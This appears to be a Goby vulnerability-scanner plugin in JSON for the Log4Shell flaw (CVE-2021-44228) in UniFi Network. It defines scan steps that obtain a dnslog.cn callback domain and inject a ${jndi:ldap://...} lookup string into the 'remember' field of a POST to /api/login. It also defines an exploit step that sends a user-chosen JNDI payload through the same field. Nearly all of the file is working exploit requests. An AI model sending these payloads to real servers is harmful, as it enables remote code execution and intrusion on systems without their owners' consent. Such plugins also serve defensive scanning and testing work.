Goby/json/UniFi_Network_Log4shell_CVE...

137 lines
5.0 KiB
JSON

{
"Name": "UniFi Network Log4shell CVE-2021-44228",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "title=\"UniFi Network\"",
"Description": "UniFi Network is part of the UniFi OS ecosystem of applications - just like Protect, Access, and Talk.",
"Product": "UniFi Network",
"Homepage": "https://help.ui.com.cn/",
"Author": "",
"Impact": "UniFi Network has a log4j vulnerability.",
"Recommendation": "",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
"https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "${jndi:ldap://dnslog.cn/tea}"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getdomain.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"dnstest|lastbody||"
]
},
{
"Request": {
"method": "POST",
"uri": "/api/login",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "{\"username\":\"admin\",\"password\":\"lolwat\",\"remember\":\"${jndi:ldap://{{{dnstest}}}/tea}\",\"strict\":true}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": []
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getrecords.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{{{dnstest}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/login",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "{\"username\":\"admin\",\"password\":\"lolwat\",\"remember\":\"{{{cmd}}}\",\"strict\":true}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": []
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}